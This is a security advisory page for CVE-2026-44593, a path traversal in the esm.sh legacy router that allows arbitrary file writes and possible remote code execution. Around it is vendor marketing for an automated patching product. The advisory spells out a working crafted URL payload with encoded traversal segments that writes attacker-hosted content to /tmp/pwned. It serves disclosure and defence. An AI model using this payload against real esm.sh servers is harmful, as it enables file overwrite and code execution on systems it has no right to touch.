Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-44593

esm.sh: Legacy Route Path Traversal Can Lead to RCE
Back to all
CVE

CVE-2026-44593

esm.sh: Legacy Route Path Traversal Can Lead to RCE

Impact

  • Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put  

(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction  

   A crafted request is sent to the server:

   ```

   http://ESMSHHOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

   ```

  1. Proxy to Legacy Server  

   The request is forwarded to:

   ```

   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

   ```

   which resolves to:

   ```

   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md

   ```

  1. File Retrieval  

   The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  1. Path Normalisation & Storage  

   The storage path derived from the request is:

   ```

   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

   ```

   Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  1. Result  

   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465, https://github.com/esm-dev/esm.sh, https://github.com/esm-dev/esm.sh/releases/tag/v137_3

Severity

0

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
0
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0
Fix Available
0.0.0-20260508100112-1960055e1d53

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading